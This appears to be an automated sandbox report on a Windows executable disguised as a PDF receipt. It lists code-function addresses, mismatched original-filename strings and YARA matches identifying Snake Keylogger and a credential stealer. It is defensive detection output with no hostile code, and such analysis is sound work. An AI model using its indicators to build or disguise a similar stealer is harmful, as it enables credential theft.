Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D63C0 6_2_067D63C0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D43C0 6_2_067D43C0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D83B0 6_2_067D83B0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D63B0 6_2_067D63B0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D23A8 6_2_067D23A8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D83A1 6_2_067D83A1
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D2397 6_2_067D2397
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D6850 6_2_067D6850
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D484F 6_2_067D484F
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D0040 6_2_067D0040
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D8840 6_2_067D8840
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D683F 6_2_067D683F
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D882F 6_2_067D882F
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D0007 6_2_067D0007
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067DD0F8 6_2_067DD0F8
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067DF8B0 6_2_067DF8B0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067DF8A0 6_2_067DF8A0
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D5171 6_2_067D5171
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D7170 6_2_067D7170
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D7161 6_2_067D7161
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D9160 6_2_067D9160
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D9151 6_2_067D9151
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067DB118 6_2_067DB118
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067DD108 6_2_067DD108
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067DB108 6_2_067DB108
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D3190 6_2_067D3190
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D5180 6_2_067D5180
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Code function: 6_2_067D3180 6_2_067D3180
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01602568 8_2_01602568
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01600871 8_2_01600871
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01601458 8_2_01601458
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01609658 8_2_01609658
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01601BD0 8_2_01601BD0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01604228 8_2_01604228
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01604218 8_2_01604218
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0160C4A8 8_2_0160C4A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0160C4B8 8_2_0160C4B8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01601341 8_2_01601341
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0160331F 8_2_0160331F
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_016055E8 8_2_016055E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_016055D8 8_2_016055D8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01605460 8_2_01605460
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01605451 8_2_01605451
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01605860 8_2_01605860
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_01605850 8_2_01605850
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D58E8 8_2_018D58E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D34E0 8_2_018D34E0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D04B0 8_2_018D04B0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D04C0 8_2_018D04C0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_018D0E70 8_2_018D0E70
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_058636A4 8_2_058636A4
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_058661A8 8_2_058661A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_058661F0 8_2_058661F0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_05866200 8_2_05866200
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08925BF8 8_2_08925BF8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08927B10 8_2_08927B10
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08920B70 8_2_08920B70
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08921C90 8_2_08921C90
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08920040 8_2_08920040
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08926198 8_2_08926198
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089212D8 8_2_089212D8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08927260 8_2_08927260
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089257B8 8_2_089257B8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08923964 8_2_08923964
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08923968 8_2_08923968
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08926A9F 8_2_08926A9F
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08926AA0 8_2_08926AA0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08924BA4 8_2_08924BA4
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08924BA8 8_2_08924BA8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08925BF5 8_2_08925BF5
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08927B0C 8_2_08927B0C
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08920B61 8_2_08920B61
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08921C8F 8_2_08921C8F
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08924DC3 8_2_08924DC3
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08924DC8 8_2_08924DC8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08925E38 8_2_08925E38
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08925E40 8_2_08925E40
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0892EE48 8_2_0892EE48
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089280F0 8_2_089280F0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089280EC 8_2_089280EC
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08920006 8_2_08920006
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0892503F 8_2_0892503F
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08925040 8_2_08925040
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08926195 8_2_08926195
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0892F280 8_2_0892F280
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089212C9 8_2_089212C9
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08927250 8_2_08927250
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089265DB 8_2_089265DB
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089265E0 8_2_089265E0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08924513 8_2_08924513
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08924518 8_2_08924518
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_0892F6B8 8_2_0892F6B8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_089257B4 8_2_089257B4
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08921711 8_2_08921711
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 8_2_08921720 8_2_08921720
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFA088 11_2_00FFA088
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFC147 11_2_00FFC147
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFD278 11_2_00FFD278
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF5370 11_2_00FF5370
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFC468 11_2_00FFC468
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFC738 11_2_00FFC738
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF69A0 11_2_00FF69A0
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFE988 11_2_00FFE988
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFCA08 11_2_00FFCA08
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFCCD8 11_2_00FFCCD8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF6FC8 11_2_00FF6FC8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFCFAA 11_2_00FFCFAA
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFF630 11_2_00FFF630
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF39ED 11_2_00FF39ED
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF29EC 11_2_00FF29EC
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFE97A 11_2_00FFE97A
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF3AA1 11_2_00FF3AA1
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FFFA8B 11_2_00FFFA8B
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_00FF3E09 11_2_00FF3E09
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FA468 11_2_055FA468
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FAB50 11_2_055FAB50
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F9D10 11_2_055F9D10
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FF868 11_2_055FF868
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FA457 11_2_055FA457
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FA463 11_2_055FA463
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FE708 11_2_055FE708
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FE6F8 11_2_055FE6F8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FE178 11_2_055FE178
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FE168 11_2_055FE168
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F0040 11_2_055F0040
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F0006 11_2_055F0006
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F8258 11_2_055F8258
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F8268 11_2_055F8268
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FEFB8 11_2_055FEFB8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FEFA9 11_2_055FEFA9
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FEB51 11_2_055FEB51
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FAB43 11_2_055FAB43
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FEB60 11_2_055FEB60
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F0B30 11_2_055F0B30
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F0B20 11_2_055F0B20
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FD470 11_2_055FD470
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FD460 11_2_055FD460
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FF410 11_2_055FF410
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FF401 11_2_055FF401
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FDD13 11_2_055FDD13
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055F9D00 11_2_055F9D00
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FDD20 11_2_055FDD20
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FF858 11_2_055FF858
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FF867 11_2_055FF867
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_055FD8C8 11_2_055FD8C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06787CA8 11_2_06787CA8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678F368 11_2_0678F368
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06787988 11_2_06787988
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06787668 11_2_06787668
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678BE48 11_2_0678BE48
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06783E28 11_2_06783E28
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06788608 11_2_06788608
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06781EE8 11_2_06781EE8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678E6E8 11_2_0678E6E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678E6D8 11_2_0678E6D8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067866C8 11_2_067866C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678AEA8 11_2_0678AEA8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06782E88 11_2_06782E88
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06788F68 11_2_06788F68
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06788F57 11_2_06788F57
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06780F48 11_2_06780F48
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678D748 11_2_0678D748
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06785728 11_2_06785728
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06789F08 11_2_06789F08
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067837E8 11_2_067837E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06787FC8 11_2_06787FC8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678C7A8 11_2_0678C7A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784788 11_2_06784788
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784468 11_2_06784468
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784458 11_2_06784458
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06788C48 11_2_06788C48
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06780C28 11_2_06780C28
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678D428 11_2_0678D428
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06785408 11_2_06785408
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678B4E8 11_2_0678B4E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067834C8 11_2_067834C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678C488 11_2_0678C488
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06785D68 11_2_06785D68
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678A548 11_2_0678A548
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678A538 11_2_0678A538
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06782528 11_2_06782528
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678ED28 11_2_0678ED28
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06786D08 11_2_06786D08
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067805E8 11_2_067805E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678CDE8 11_2_0678CDE8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784DC8 11_2_06784DC8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067895A8 11_2_067895A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06781588 11_2_06781588
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678DD88 11_2_0678DD88
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06789278 11_2_06789278
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06781268 11_2_06781268
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678DA68 11_2_0678DA68
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06785A48 11_2_06785A48
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678A228 11_2_0678A228
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06782208 11_2_06782208
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678EA08 11_2_0678EA08
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067882E8 11_2_067882E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067802C8 11_2_067802C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678CAC8 11_2_0678CAC8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784AA8 11_2_06784AA8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06789288 11_2_06789288
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06782B68 11_2_06782B68
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06787348 11_2_06787348
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678BB28 11_2_0678BB28
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678BB18 11_2_0678BB18
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06783B08 11_2_06783B08
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06789BE8 11_2_06789BE8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06781BC8 11_2_06781BC8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678E3C8 11_2_0678E3C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06781BB8 11_2_06781BB8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067863A8 11_2_067863A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678AB88 11_2_0678AB88
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678A868 11_2_0678A868
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678A862 11_2_0678A862
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06782848 11_2_06782848
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678F048 11_2_0678F048
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06787028 11_2_06787028
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678B808 11_2_0678B808
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06780007 11_2_06780007
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067850E8 11_2_067850E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067898C8 11_2_067898C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067818A8 11_2_067818A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678E0A8 11_2_0678E0A8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06786088 11_2_06786088
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678C168 11_2_0678C168
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678C15A 11_2_0678C15A
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784148 11_2_06784148
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06784137 11_2_06784137
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06788928 11_2_06788928
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_06780908 11_2_06780908
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678D108 11_2_0678D108
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067869E8 11_2_067869E8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_0678B1C8 11_2_0678B1C8
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Code function: 11_2_067831A8 11_2_067831A8
Sample file is different than original file name gathered from version info
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1722656891.0000000001336000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameschtasks.exej% vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1728804720.00000000080A0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameCaptive.dll" vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1724559523.0000000003161000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000000.1691739920.0000000000E14000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameIzLJ.exe" vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1731029741.000000000A050000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameMontero.dll8 vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1722563272.00000000012CE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCaptive.dll" vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000000.00000002.1725618218.0000000004969000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameMontero.dll8 vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148166401.0000000000444000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: OriginalFilenameRemington.exe4 vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe, 00000006.00000002.4148609258.0000000000B37000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: OriginalFilenameUNKNOWN_FILET vs rDEKONT-1_16_2025__75kb__pdf.exe
Source: rDEKONT-1_16_2025__75kb__pdf.exe Binary or memory string: OriginalFilenameIzLJ.exe" vs rDEKONT-1_16_2025__75kb__pdf.exe
Uses 32bit PE files
Source: rDEKONT-1_16_2025__75kb__pdf.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.teXfNv.exe.4245570.1.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.teXfNv.exe.4288990.2.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
